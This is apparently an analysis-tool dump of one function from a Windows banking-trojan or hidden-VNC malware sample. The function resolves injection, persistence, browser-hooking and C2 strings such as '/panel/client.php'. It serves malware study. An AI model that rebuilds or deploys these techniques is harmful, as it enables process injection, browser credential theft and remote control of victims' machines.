Function at 0x14001100f
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
jmp 0x1400119e0
push rbp
sub rsp, 0xd0
lea rbp, [rsp + 0x20]
lea rcx, [0x14002f0c4]
call fcn.140011447
mov edx, 9
lea rcx, str.127.0.0.1
call fcn.14001142e
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x140027820]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 1
lea rcx, [0x140027820]
mov qword [rcx + rax], 0
mov edx, 0x11
lea rcx, str._panel_client.php
call fcn.14001142e
mov qword [0x140027818], rax
mov edx, 0xa
lea rcx, str.User32.dll
call fcn.14001142e
mov qword [0x140027c20], rax
mov edx, 0xc
lea rcx, str.Kernel32.dll
call fcn.14001142e
mov qword [0x140027c28], rax
mov edx, 0xe
lea rcx, str.KernelBase.dll
call fcn.14001142e
mov qword [0x140027c30], rax
mov edx, 0xa
lea rcx, str.msvcrt.dll
call fcn.14001142e
mov qword [0x140027c38], rax
mov edx, 9
lea rcx, str.ntdll.dll
call fcn.14001142e
mov qword [0x140027c40], rax
mov edx, 0xb
lea rcx, str.Shlwapi.dll
call fcn.14001142e
mov qword [0x140027c48], rax
mov edx, 0xb
lea rcx, str.Shell32.dll
call fcn.14001142e
mov qword [0x140027c50], rax
mov edx, 0xb
lea rcx, str.Secur32.dll
call fcn.14001142e
mov qword [0x140027c58], rax
mov edx, 0xc
lea rcx, str.Advapi32.dll
call fcn.14001142e
mov qword [0x140027c60], rax
mov edx, 0xa
lea rcx, str.ws2_32.dll
call fcn.14001142e
mov qword [0x140027c68], rax
mov edx, 0xb
lea rcx, str.version.dll
call fcn.14001142e
mov qword [0x140027c70], rax
mov edx, 9
lea rcx, str.Psapi.dll
call fcn.14001142e
mov qword [0x140027c78], rax
mov edx, 0xb
lea rcx, str.wininet.dll
call fcn.14001142e
mov qword [0x140027c80], rax
mov edx, 9
lea rcx, str.gdi32.dll
call fcn.14001142e
mov qword [0x140027c88], rax
mov edx, 0xb
lea rcx, str.MessageBoxA
call fcn.14001142e
mov qword [0x140027cb8], rax
mov edx, 0x14
lea rcx, str.GetWindowsDirectoryA
call fcn.14001142e
mov qword [0x140027cc0], rax
mov edx, 0x13
lea rcx, str.WideCharToMultiByte
call fcn.14001142e
mov qword [0x140027cb0], rax
mov edx, 0xa
lea rcx, str.LocalAlloc
call fcn.14001142e
mov qword [0x140027cc8], rax
mov edx, 9
lea rcx, str.wsprintfA
call fcn.14001142e
mov qword [0x140027cd0], rax
mov edx, 0x13
lea rcx, str.MultiByteToWideChar
call fcn.14001142e
mov qword [0x140027cd8], rax
mov edx, 6
lea rcx, str.malloc
call fcn.14001142e
mov qword [0x140027ce0], rax
mov edx, 4
lea rcx, str.free
call fcn.14001142e
mov qword [0x140027ce8], rax
mov edx, 0xe
lea rcx, str.VirtualAllocEx
call fcn.14001142e
mov qword [0x140027cf0], rax
mov edx, 0x12
lea rcx, str.WriteProcessMemory
call fcn.14001142e
mov qword [0x140027cf8], rax
mov edx, 0x12
lea rcx, str.CreateRemoteThread
call fcn.14001142e
mov qword [0x140027d00], rax
mov edx, 0xc
lea rcx, str.LoadLibraryA
call fcn.14001142e
mov qword [0x140027d08], rax
mov edx, 0xe
lea rcx, str.GetProcAddress
call fcn.14001142e
mov qword [0x140027d10], rax
mov edx, 0x13
lea rcx, str.PathRemoveFileSpecA
call fcn.14001142e
mov qword [0x140027d18], rax
mov edx, 0x12
lea rcx, str.GetModuleFileNameA
call fcn.14001142e
mov qword [0x140027d20], rax
mov edx, 0x11
lea rcx, str.PathFindFileNameA
call fcn.14001142e
mov qword [0x140027d28], rax
mov edx, 7
lea rcx, str.strncmp
call fcn.14001142e
mov qword [0x140027d30], rax
mov edx, 9
lea rcx, str._strnicmp
call fcn.14001142e
mov qword [0x140027d38], rax
mov edx, 8
lea rcx, str.lstrlenA
call fcn.14001142e
mov qword [0x140027d40], rax
mov edx, 0xb
lea rcx, str.ExitProcess
call fcn.14001142e
mov qword [0x140027d48], rax
mov edx, 0x10
lea rcx, str.SHGetFolderPathA
call fcn.14001142e
mov qword [0x140027d50], rax
mov edx, 8
lea rcx, str.lstrcpyA
call fcn.14001142e
mov qword [0x140027d58], rax
mov edx, 8
lea rcx, str.lstrcatA
call fcn.14001142e
mov qword [0x140027d60], rax
mov edx, 9
lea rcx, str.CopyFileA
call fcn.14001142e
mov qword [0x140027d68], rax
mov edx, 0x15
lea rcx, str.GetVolumeInformationA
call fcn.14001142e
mov qword [0x140027d70], rax
mov edx, 0xe
lea rcx, str.GetUserNameExA
call fcn.14001142e
mov qword [0x140027d78], rax
mov edx, 0x12
lea rcx, str.LookupAccountNameA
call fcn.14001142e
mov qword [0x140027d80], rax
mov edx, 0x16
lea rcx, str.ConvertSidToStringSidA
call fcn.14001142e
mov qword [0x140027d88], rax
mov edx, 9
lea rcx, str.LocalFree
call fcn.14001142e
mov qword [0x140027d90], rax
mov edx, 6
lea rcx, str.malloc
call fcn.14001142e
mov qword [0x140027ce0], rax
mov edx, 9
lea rcx, str.lstrcmpiA
call fcn.14001142e
mov qword [0x140027da0], rax
mov edx, 8
lea rcx, str.lstrcmpA
call fcn.14001142e
mov qword [0x140027da8], rax
mov edx, 7
lea rcx, str.StrStrA
call fcn.14001142e
mov qword [0x140027db0], rax
mov edx, 8
lea rcx, str.StrStrIA
call fcn.14001142e
mov qword [0x140027db8], rax
mov edx, 6
lea rcx, str.strtol
call fcn.14001142e
mov qword [0x140027dc0], rax
mov edx, 7
lea rcx, str.realloc
call fcn.14001142e
mov qword [0x140027dc8], rax
mov edx, 0xa
lea rcx, str.WSAStartup
call fcn.14001142e
mov qword [0x140027dd0], rax
mov edx, 6
lea rcx, str.socket
call fcn.14001142e
mov qword [0x140027dd8], rax
mov edx, 0xd
lea rcx, str.gethostbyname
call fcn.14001142e
mov qword [0x140027de0], rax
mov edx, 5
lea rcx, str.htons
call fcn.14001142e
mov qword [0x140027de8], rax
mov edx, 7
lea rcx, str.connect
call fcn.14001142e
mov qword [0x140027df0], rax
mov edx, 4
lea rcx, str.send
call fcn.14001142e
mov qword [0x140027df8], rax
mov edx, 4
lea rcx, str.recv
call fcn.14001142e
mov qword [0x140027e00], rax
mov edx, 0xb
lea rcx, str.closesocket
call fcn.14001142e
mov qword [0x140027e08], rax
mov edx, 0xa
lea rcx, str.WSACleanup
call fcn.14001142e
mov qword [0x140027e10], rax
mov edx, 6
lea rcx, str.memset
call fcn.14001142e
mov qword [0x140027e18], rax
mov edx, 6
lea rcx, str.memcpy
call fcn.14001142e
mov qword [0x140027d98], rax
mov edx, 5
lea rcx, str.Sleep
call fcn.14001142e
mov qword [0x140027e20], rax
mov edx, 9
lea rcx, str.NtOpenKey
call fcn.14001142e
mov qword [0x140027e28], rax
mov edx, 0xd
lea rcx, str.NtSetValueKey
call fcn.14001142e
mov qword [0x140027e38], rax
mov edx, 0xb
lea rcx, str.CloseHandle
call fcn.14001142e
mov qword [0x140027e30], rax
mov edx, 0xe
lea rcx, str.CreateProcessA
call fcn.14001142e
mov qword [0x140027e40], rax
mov edx, 0x10
lea rcx, str.NtCreateThreadEx
call fcn.14001142e
mov qword [0x140027fd8], rax
mov edx, 0x10
lea rcx, str.TerminateProcess
call fcn.14001142e
mov qword [0x140027fe0], rax
mov edx, 0xb
lea rcx, str.FindWindowA
call fcn.14001142e
mov qword [0x140027fe8], rax
mov edx, 0x14
lea rcx, str.NtUnmapViewOfSection
call fcn.14001142e
mov qword [0x140028168], rax
mov edx, 0x19
lea rcx, str.NtQueryInformationProcess
call fcn.14001142e
mov qword [0x140028170], rax
mov edx, 0x10
lea rcx, str.GetThreadContext
call fcn.14001142e
mov qword [0x140028178], rax
mov edx, 0x10
lea rcx, str.SetThreadContext
call fcn.14001142e
mov qword [0x140028180], rax
mov edx, 0x10
lea rcx, str.SHFileOperationA
call fcn.14001142e
mov qword [0x140028188], rax
mov edx, 0xe
lea rcx, str.FindFirstFileA
call fcn.14001142e
mov qword [0x140028190], rax
mov edx, 0xd
lea rcx, str.FindNextFileA
call fcn.14001142e
mov qword [0x140028198], rax
mov edx, 0x18
lea rcx, str.GetWindowThreadProcessId
call fcn.14001142e
mov qword [0x140027ff0], rax
mov edx, 0x19
lea rcx, str.InitializeCriticalSection
call fcn.14001142e
mov qword [0x140027e58], rax
mov edx, 0xc
lea rcx, str.GetLastError
call fcn.14001142e
mov qword [0x140027e60], rax
mov edx, 0x14
lea rcx, str.EnterCriticalSection
call fcn.14001142e
mov qword [0x140027e48], rax
mov edx, 0x14
lea rcx, str.LeaveCriticalSection
call fcn.14001142e
mov qword [0x140027e50], rax
mov edx, 6
lea rcx, str._errno
call fcn.14001142e
mov qword [0x140027e68], rax
mov edx, 7
lea rcx, str.tolower
call fcn.14001142e
mov qword [0x140027e70], rax
mov edx, 7
lea rcx, str.isdigit
call fcn.14001142e
mov qword [0x140027e78], rax
mov edx, 7
lea rcx, str.strtoul
call fcn.14001142e
mov qword [0x140027e80], rax
mov edx, 8
lea rcx, str.isxdigit
call fcn.14001142e
mov qword [0x140027e88], rax
mov edx, 6
lea rcx, str.strtod
call fcn.14001142e
mov qword [0x140027e90], rax
mov edx, 0x18
lea rcx, str.CreateToolhelp32Snapshot
call fcn.14001142e
mov qword [0x140027e98], rax
mov edx, 0xe
lea rcx, str.Process32First
call fcn.14001142e
mov qword [0x140027ea0], rax
mov edx, 0xd
lea rcx, str.Process32Next
call fcn.14001142e
mov qword [0x140027ea8], rax
mov edx, 7
lea rcx, str.StrChrA
call fcn.14001142e
mov qword [0x140027eb0], rax
mov edx, 9
lea rcx, str.StrToIntA
call fcn.14001142e
mov qword [0x140027eb8], rax
mov edx, 0x10
lea rcx, str.GetModuleHandleA
call fcn.14001142e
mov qword [0x140027ec0], rax
mov edx, 0x17
lea rcx, str.GetFileVersionInfoSizeA
call fcn.14001142e
mov qword [0x140027ec8], rax
mov edx, 0x13
lea rcx, str.GetFileVersionInfoA
call fcn.14001142e
mov qword [0x140027ed0], rax
mov edx, 0xe
lea rcx, str.VerQueryValueA
call fcn.14001142e
mov qword [0x140027ed8], rax
mov edx, 0x14
lea rcx, str.GetModuleInformation
call fcn.14001142e
mov qword [0x140027ee0], rax
mov edx, 6
lea rcx, str.memcmp
call fcn.14001142e
mov qword [0x140027ee8], rax
mov edx, 0x19
lea rcx, str.ExpandEnvironmentStringsA
call fcn.14001142e
mov qword [0x140027ef0], rax
mov edx, 0x1e
lea rcx, str.GetPrivateProfileSectionNamesA
call fcn.14001142e
mov qword [0x140027ef8], rax
mov edx, 0x18
lea rcx, str.GetPrivateProfileStringA
call fcn.14001142e
mov qword [0x140027f00], rax
mov edx, 0xb
lea rcx, str.CreateFileA
call fcn.14001142e
mov qword [0x140027f08], rax
mov edx, 8
lea rcx, str.ReadFile
call fcn.14001142e
mov qword [0x140027f10], rax
mov edx, 9
lea rcx, str.WriteFile
call fcn.14001142e
mov qword [0x140027f18], rax
mov edx, 0xe
lea rcx, str.RegSetValueExA
call fcn.14001142e
mov qword [0x140027f20], rax
mov edx, 0xd
lea rcx, str.RegOpenKeyExA
call fcn.14001142e
mov qword [0x140027f28], rax
mov edx, 0xb
lea rcx, str.RegCloseKey
call fcn.14001142e
mov qword [0x140027f30], rax
mov edx, 0xb
lea rcx, str.GetFileSize
call fcn.14001142e
mov qword [0x140027f38], rax
mov edx, 0xc
lea rcx, str.ResumeThread
call fcn.14001142e
mov qword [0x140027f40], rax
mov edx, 0xe
lea rcx, str.IsWow64Process
call fcn.14001142e
mov qword [0x140027f48], rax
mov edx, 0x13
lea rcx, str.GetNativeSystemInfo
call fcn.14001142e
mov qword [0x140027f50], rax
mov edx, 0xb
lea rcx, str.OpenProcess
call fcn.14001142e
mov qword [0x140027f58], rax
mov edx, 0xc
lea rcx, str.CreateThread
call fcn.14001142e
mov qword [0x140027f60], rax
mov edx, 0xc
lea rcx, str.GetUserNameW
call fcn.14001142e
mov qword [0x140027f68], rax
mov edx, 0x10
lea rcx, str.GetComputerNameW
call fcn.14001142e
mov qword [0x140027f70], rax
mov edx, 0xd
lea rcx, str.GetVersionExA
call fcn.14001142e
mov qword [0x140027f78], rax
mov edx, 0x10
lea rcx, str.CreateNamedPipeA
call fcn.14001142e
mov qword [0x140027f80], rax
mov edx, 0x10
lea rcx, str.ConnectNamedPipe
call fcn.14001142e
mov qword [0x140027f88], rax
mov edx, 0x13
lea rcx, str.DisconnectNamedPipe
call fcn.14001142e
mov qword [0x140027f90], rax
mov edx, 0x11
lea rcx, str.InternetCrackUrlA
call fcn.14001142e
mov qword [0x140027f98], rax
mov edx, 0xc
lea rcx, str.GetTempPathA
call fcn.14001142e
mov qword [0x140027fa0], rax
mov edx, 0x10
lea rcx, str.GetTempFileNameA
call fcn.14001142e
mov qword [0x140027fa8], rax
mov edx, 0xd
lea rcx, str.ShellExecuteA
call fcn.14001142e
mov qword [0x140027fb0], rax
mov edx, 0xb
lea rcx, str.ioctlsocket
call fcn.14001142e
mov qword [0x140027fb8], rax
mov edx, 5
lea rcx, str.ntohs
call fcn.14001142e
mov qword [0x140027fc0], rax
mov edx, 0xc
lea rcx, str.CreateMutexA
call fcn.14001142e
mov qword [0x140027fc8], rax
mov edx, 0xc
lea rcx, str.ReleaseMutex
call fcn.14001142e
mov qword [0x140027fd0], rax
mov edx, 0x13
lea rcx, str.WaitForSingleObject
call fcn.14001142e
mov qword [0x140027ff8], rax
mov edx, 0xb
lea rcx, str.EnumWindows
call fcn.14001142e
mov qword [0x140028000], rax
mov edx, 0x13
lea rcx, str.GetCurrentProcessId
call fcn.14001142e
mov qword [0x140028008], rax
mov edx, 0xb
lea rcx, str.DeleteFileA
call fcn.14001142e
mov qword [0x140028010], rax
mov edx, 0xf
lea rcx, str.PathFileExistsA
call fcn.14001142e
mov qword [0x140028018], rax
mov edx, 0x10
lea rcx, str.CreateDirectoryA
call fcn.14001142e
mov qword [0x140028020], rax
mov edx, 0xe
lea rcx, str.HttpQueryInfoA
call fcn.14001142e
mov qword [0x140028028], rax
mov edx, 0xe
lea rcx, str.HttpQueryInfoW
call fcn.14001142e
mov qword [0x140028030], rax
mov edx, 0x11
lea rcx, str.RtlCompressBuffer
call fcn.14001142e
mov qword [0x140028038], rax
mov edx, 0x1e
lea rcx, str.RtlGetCompressionWorkSpaceSize
call fcn.14001142e
mov qword [0x140028040], rax
mov edx, 0x10
lea rcx, str.SetThreadDesktop
call fcn.14001142e
mov qword [0x140028048], rax
mov edx, 0xe
lea rcx, str.CreateDesktopA
call fcn.14001142e
mov qword [0x140028050], rax
mov edx, 0xc
lea rcx, str.OpenDesktopA
call fcn.14001142e
mov qword [0x140028058], rax
mov edx, 0xf
lea rcx, str.TerminateThread
call fcn.14001142e
mov qword [0x140028060], rax
mov edx, 0xc
lea rcx, str.PostMessageA
call fcn.14001142e
mov qword [0x140028068], rax
mov edx, 0xc
lea rcx, str.SendMessageA
call fcn.14001142e
mov qword [0x140028070], rax
mov edx, 0x14
lea rcx, str.ChildWindowFromPoint
call fcn.14001142e
mov qword [0x140028078], rax
mov edx, 0xe
lea rcx, str.ScreenToClient
call fcn.14001142e
mov qword [0x140028080], rax
mov edx, 0xa
lea rcx, str.MoveWindow
call fcn.14001142e
mov qword [0x140028088], rax
mov edx, 0xd
lea rcx, str.GetWindowRect
call fcn.14001142e
mov qword [0x140028090], rax
mov edx, 0xd
lea rcx, str.GetMenuItemID
call fcn.14001142e
mov qword [0x140028098], rax
mov edx, 0x11
lea rcx, str.MenuItemFromPoint
call fcn.14001142e
mov qword [0x1400280a0], rax
mov edx, 0x13
lea rcx, str.RealGetWindowClassA
call fcn.14001142e
mov qword [0x1400280a8], rax
mov edx, 8
lea rcx, str.PtInRect
call fcn.14001142e
mov qword [0x1400280b0], rax
mov edx, 0x12
lea rcx, str.GetWindowPlacement
call fcn.14001142e
mov qword [0x1400280b8], rax
mov edx, 0xe
lea rcx, str.SetWindowLongA
call fcn.14001142e
mov qword [0x1400280c0], rax
mov edx, 0xe
lea rcx, str.GetWindowLongA
call fcn.14001142e
mov qword [0x1400280c8], rax
mov edx, 0xf
lea rcx, str.WindowFromPoint
call fcn.14001142e
mov qword [0x1400280d0], rax
mov edx, 0xf
lea rcx, str.SHAppBarMessage
call fcn.14001142e
mov qword [0x1400280d8], rax
mov edx, 0x10
lea rcx, str.RegQueryValueExA
call fcn.14001142e
mov qword [0x1400280e0], rax
mov edx, 0x10
lea rcx, str.GetDesktopWindow
call fcn.14001142e
mov qword [0x1400280e8], rax
mov edx, 8
lea rcx, str.DeleteDC
call fcn.14001142e
mov qword [0x1400280f0], rax
mov edx, 9
lea rcx, str.ReleaseDC
call fcn.14001142e
mov qword [0x1400280f8], rax
mov edx, 0xc
lea rcx, str.DeleteObject
call fcn.14001142e
mov qword [0x140028100], rax
mov edx, 9
lea rcx, str.GetDIBits
call fcn.14001142e
mov qword [0x140028108], rax
mov edx, 0xa
lea rcx, str.StretchBlt
call fcn.14001142e
mov qword [0x140028110], rax
mov edx, 0x11
lea rcx, str.SetStretchBltMode
call fcn.14001142e
mov qword [0x140028118], rax
mov edx, 0xc
lea rcx, str.SelectObject
call fcn.14001142e
mov qword [0x140028120], rax
mov edx, 0x12
lea rcx, str.CreateCompatibleDC
call fcn.14001142e
mov qword [0x140028128], rax
mov edx, 0x16
lea rcx, str.CreateCompatibleBitmap
call fcn.14001142e
mov qword [0x140028130], rax
mov edx, 5
lea rcx, str.GetDC
call fcn.14001142e
mov qword [0x140028138], rax
mov edx, 0xf
lea rcx, str.IsWindowVisible
call fcn.14001142e
mov qword [0x140028140], rax
mov edx, 9
lea rcx, str.GetWindow
call fcn.14001142e
mov qword [0x140028148], rax
mov edx, 0xb
lea rcx, str.PrintWindow
call fcn.14001142e
mov qword [0x140028158], rax
mov edx, 0xc
lea rcx, str.GetTopWindow
call fcn.14001142e
mov qword [0x140028160], rax
mov edx, 0x11
lea rcx, str.RtlInitAnsiString
call fcn.14001142e
mov qword [0x1400281a0], rax
mov edx, 0x1c
lea rcx, str.RtlAnsiStringToUnicodeString
call fcn.14001142e
mov qword [0x1400281a8], rax
mov edx, 0xa
lea rcx, str.LdrLoadDll
call fcn.14001142e
mov qword [0x1400281b0], rax
mov edx, 0x16
lea rcx, str.LdrGetProcedureAddress
call fcn.14001142e
mov qword [0x1400281b8], rax
mov edx, 0x14
lea rcx, str.RtlFreeUnicodeString
call fcn.14001142e
mov qword [0x1400281c0], rax
mov edx, 0x13
lea rcx, str.RtlCreateUserThread
call fcn.14001142e
mov qword [0x1400281c8], rax
mov edx, 0xb
lea rcx, str.Hello_World
call fcn.14001142e
mov qword [0x1400281d0], rax
mov edx, 4
lea rcx, str..exe
call fcn.14001142e
mov qword [0x1400281d8], rax
mov edx, 1
lea rcx, [0x1400239c0]
call fcn.14001142e
mov qword [0x1400281e0], rax
mov edx, 5
lea rcx, [0x1400239c4]
call fcn.14001142e
mov qword [0x1400281e8], rax
mov edx, 4
lea rcx, str.GET
call fcn.14001142e
mov qword [0x1400281f0], rax
mov edx, 0xb
lea rcx, str._HTTP_1.1_r_n
call fcn.14001142e
mov qword [0x1400281f8], rax
mov edx, 6
lea rcx, str.Host:
call fcn.14001142e
mov qword [0x140028200], rax
mov edx, 0x40
lea rcx, str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
call fcn.14001142e
mov qword [0x140028208], rax
mov edx, 0x10
lea rcx, str.Content_Length:
call fcn.14001142e
mov qword [0x140028210], rax
mov edx, 0xf
lea rcx, str.HTTP_1.1_200_OK
call fcn.14001142e
mov qword [0x140028218], rax
mov edx, 2
lea rcx, [0x140023a6c]
call fcn.14001142e
mov qword [0x140028220], rax
mov edx, 0xe
lea rcx, str.Content_Length
call fcn.14001142e
mov qword [0x140028228], rax
mov edx, 0x11
lea rcx, str.Transfer_Encoding
call fcn.14001142e
mov qword [0x140028230], rax
mov edx, 7
lea rcx, str.chunked
call fcn.14001142e
mov qword [0x140028238], rax
mov edx, 2
lea rcx, [0x140023aac]
call fcn.14001142e
mov qword [0x140028240], rax
mov edx, 2
lea rcx, [0x140023ab0]
call fcn.14001142e
mov qword [0x140028248], rax
mov edx, 0x14
lea rcx, str.RegistryUser_s_s
call fcn.14001142e
mov qword [0x140028250], rax
mov edx, 0x2d
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.14001142e
mov qword [0x140028258], rax
mov edx, 0xb
lea rcx, str.dllhost.exe
call fcn.14001142e
mov qword [0x140028260], rax
mov edx, 4
lea rcx, str.ping
call fcn.14001142e
mov qword [0x140028268], rax
mov edx, 9
lea rcx, str.binint32
call fcn.14001142e
mov qword [0x140028270], rax
mov edx, 9
lea rcx, str.binint64
call fcn.14001142e
mov qword [0x140028278], rax
mov edx, 0xc
lea rcx, str.explorer.exe
call fcn.14001142e
mov qword [0x140028280], rax
mov edx, 0xb
lea rcx, str.firefox.exe
call fcn.14001142e
mov qword [0x140028288], rax
mov edx, 0xa
lea rcx, str.chrome.exe
call fcn.14001142e
mov qword [0x140028290], rax
mov edx, 0xc
lea rcx, str.iexplore.exe
call fcn.14001142e
mov qword [0x1400282a8], rax
mov edx, 0x88
lea rcx, str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
call fcn.14001142e
mov qword [0x1400282b0], rax
mov edx, 0xa
lea rcx, str.msedge.exe
call fcn.14001142e
mov qword [0x140028298], rax
mov edx, 9
lea rcx, str.brave.exe
call fcn.14001142e
mov qword [0x1400282a0], rax
mov edx, 7
lea rcx, str.injects
call fcn.14001142e
mov qword [0x1400282b8], rax
mov edx, 7
lea rcx, str.Firefox
call fcn.14001142e
mov qword [0x1400282c8], rax
mov edx, 6
lea rcx, str.Chrome
call fcn.14001142e
mov qword [0x1400282c0], rax
mov edx, 0x11
lea rcx, str.Internet_Explorer
call fcn.14001142e
mov qword [0x1400282d0], rax
mov edx, 0xa
lea rcx, str.chrome.dll
call fcn.14001142e
mov qword [0x1400282d8], rax
mov edx, 6
lea rcx, str.BitBlt
call fcn.14001142e
mov qword [0x140028150], rax
mov edx, 8
lea rcx, str.nss3.dll
call fcn.14001142e
mov qword [0x1400282e0], rax
mov edx, 9
lea rcx, str.nspr4.dll
call fcn.14001142e
mov qword [0x1400282e8], rax
mov edx, 7
lea rcx, str.PR_Read
call fcn.14001142e
mov qword [0x1400282f0], rax
mov edx, 8
lea rcx, str.PR_Write
call fcn.14001142e
mov qword [0x1400282f8], rax
mov edx, 6
lea rcx, str..rdata
call fcn.14001142e
mov qword [0x140028300], rax
mov edx, 0x12
lea rcx, str._r_nContent_Length:
call fcn.14001142e
mov qword [0x140028308], rax
mov edx, 0xf
lea rcx, str.Accept_Encoding
call fcn.14001142e
mov qword [0x140028310], rax
mov edx, 8
lea rcx, str.identity
call fcn.14001142e
mov qword [0x140028318], rax
mov edx, 0xe
lea rcx, str.Content_Length
call fcn.14001142e
mov qword [0x140028320], rax
mov edx, 0x11
lea rcx, str.Transfer_Encoding
call fcn.14001142e
mov qword [0x140028328], rax
mov edx, 0xa
lea rcx, str.Connection
call fcn.14001142e
mov qword [0x140028330], rax
mov edx, 5
lea rcx, str.close
call fcn.14001142e
mov qword [0x140028338], rax
mov edx, 0x10
lea rcx, str._r_nContent_Type:
call fcn.14001142e
mov qword [0x140028340], rax
mov edx, 9
lea rcx, str.text_html
call fcn.14001142e
mov qword [0x140028348], rax
mov edx, 0xc
lea rcx, str._r_nLocation:
call fcn.14001142e
mov qword [0x140028350], rax
mov edx, 0x12
lea rcx, str._r_nContent_Length:
call fcn.14001142e
mov qword [0x140028358], rax
mov edx, 0x17
lea rcx, str.X_HeyThere:_5eYEp80n3hM
call fcn.14001142e
mov qword [0x140028360], rax
mov edx, 4
lea rcx, str._r_n_r_n
call fcn.14001142e
mov qword [0x140028368], rax
mov edx, 9
lea rcx, str._r_n_s:__r_n
call fcn.14001142e
mov qword [0x140028370], rax
mov edx, 2
lea rcx, [0x140023a6c]
call fcn.14001142e
mov qword [0x140028378], rax
mov edx, 8
lea rcx, str._r_nHost:
call fcn.14001142e
mov qword [0x140028380], rax
mov edx, 0xa
lea rcx, str.http_s_:__
call fcn.14001142e
mov qword [0x140028388], rax
mov edx, 0xd
lea rcx, str.log_s_s_d
call fcn.14001142e
mov qword [0x140028390], rax
mov edx, 4
lea rcx, str.POST
call fcn.14001142e
mov qword [0x140028398], rax
mov edx, 9
lea rcx, str.__DOCTYPE
call fcn.14001142e
mov qword [0x1400283a0], rax
mov edx, 0x3d
lea rcx, str._script_window.location.href__window.location.href___script_
call fcn.14001142e
mov qword [0x1400283a8], rax
mov edx, 0x13
lea rcx, str.InternetCloseHandle
call fcn.14001142e
mov qword [0x1400283b0], rax
mov edx, 0x1a
lea rcx, str.InternetQueryDataAvailable
call fcn.14001142e
mov qword [0x1400283b8], rax
mov edx, 0x10
lea rcx, str.HttpOpenRequestW
call fcn.14001142e
mov qword [0x1400283c0], rax
mov edx, 0x10
lea rcx, str.InternetConnectW
call fcn.14001142e
mov qword [0x1400283c8], rax
mov edx, 0x10
lea rcx, str.HttpSendRequestW
call fcn.14001142e
mov qword [0x1400283d0], rax
mov edx, 0x10
lea rcx, str.InternetReadFile
call fcn.14001142e
mov qword [0x1400283d8], rax
mov edx, 0x13
lea rcx, str.InternetReadFileExW
call fcn.14001142e
mov qword [0x1400283e0], rax
mov edx, 0x11
lea rcx, str.InternetWriteFile
call fcn.14001142e
mov qword [0x1400283e8], rax
mov edx, 9
lea rcx, str._appdata_
call fcn.14001142e
mov qword [0x1400283f0], rax
mov edx, 0xf
lea rcx, str._s_s_s_s.ini
call fcn.14001142e
mov qword [0x1400283f8], rax
mov edx, 7
lea rcx, str.Mozilla
call fcn.14001142e
mov qword [0x140028400], rax
mov edx, 7
lea rcx, str.Firefox
call fcn.14001142e
mov qword [0x140028408], rax
mov edx, 8
lea rcx, str.Profiles
call fcn.14001142e
mov qword [0x140028410], rax
mov edx, 7
lea rcx, str.Profile
call fcn.14001142e
mov qword [0x140028418], rax
mov edx, 4
lea rcx, [0x140023f74]
call fcn.14001142e
mov qword [0x140028420], rax
mov edx, 0x14
lea rcx, str._s_s_s_s_s_s.js
call fcn.14001142e
mov qword [0x140028428], rax
mov edx, 5
lea rcx, str.prefs
call fcn.14001142e
mov qword [0x140028430], rax
mov edx, 0x19
lea rcx, str.network.http.spdy.enabled
call fcn.14001142e
mov qword [0x140028438], rax
mov edx, 0x1d
lea rcx, str.browser.tabs.remote.autostart
call fcn.14001142e
mov qword [0x140028440], rax
mov edx, 0x15d
lea rcx, str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
call fcn.14001142e
mov qword [0x140028448], rax
mov edx, 0x29
lea rcx, str.SoftwareMicrosoftInternet_ExplorerMain
call fcn.14001142e
mov qword [0x140028450], rax
mov edx, 0xd
lea rcx, str.TabProcGrowth
call fcn.14001142e
mov qword [0x140028458], rax
mov edx, 0x43
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
call fcn.14001142e
mov qword [0x140028460], rax
mov edx, 4
lea rcx, str.2500
call fcn.14001142e
mov qword [0x140028468], rax
mov edx, 0x2e
lea rcx, str.___disable_http2___use_spdyoff___disable_quic
call fcn.14001142e
mov qword [0x140028470], rax
mov edx, 0x16
lea rcx, str.CreateProcessInternalW
call fcn.14001142e
mov qword [0x140028478], rax
mov edx, 0x15
lea rcx, str.NoProtectedModeBanner
call fcn.14001142e
mov qword [0x140028480], rax
mov edx, 6
lea rcx, str.32768
call fcn.14001142e
mov qword [0x1400284b8], rax
mov edx, 0x1d
lea rcx, str._rundll32.exe_shell32.dll_61
call fcn.14001142e
mov qword [0x1400284c0], rax
mov edx, 0x3b
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.14001142e
mov qword [0x1400284c8], rax
mov edx, 0x10
lea rcx, str.TaskbarGlomLevel
call fcn.14001142e
mov qword [0x1400284d0], rax
mov edx, 0xc
lea rcx, str.profiles.ini
call fcn.14001142e
mov qword [0x1400284d8], rax
mov edx, 9
lea rcx, str._profile
call fcn.14001142e
mov qword [0x1400284e0], rax
mov edx, 0xf
lea rcx, str.GoogleChrome_
call fcn.14001142e
mov qword [0x1400284e8], rax
mov edx, 0x11
lea rcx, str.cmd.exe__c_start
call fcn.14001142e
mov qword [0x1400284f0], rax
mov edx, 0x65
lea rcx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
call fcn.14001142e
mov qword [0x1400284f8], rax
mov edx, 0xa
lea rcx, str.User_Data_
call fcn.14001142e
mov qword [0x140028500], rax
mov edx, 0x11
lea rcx, str.MozillaFirefox_
call fcn.14001142e
mov qword [0x140028508], rax
mov edx, 0xb
lea rcx, str.IsRelative
call fcn.14001142e
mov qword [0x140028510], rax
mov edx, 5
lea rcx, str.Path
call fcn.14001142e
mov qword [0x140028518], rax
mov edx, 0x15
lea rcx, str.__no_remote__profile
call fcn.14001142e
mov qword [0x140028520], rax
mov edx, 0x1c
lea rcx, str.info_d_d_d_d_s_s_d_d
call fcn.14001142e
mov qword [0x140028530], rax
mov edx, 0xb
lea rcx, str..pipe_s
call fcn.14001142e
mov qword [0x140028538], rax
mov edx, 4
lea rcx, str.open
call fcn.14001142e
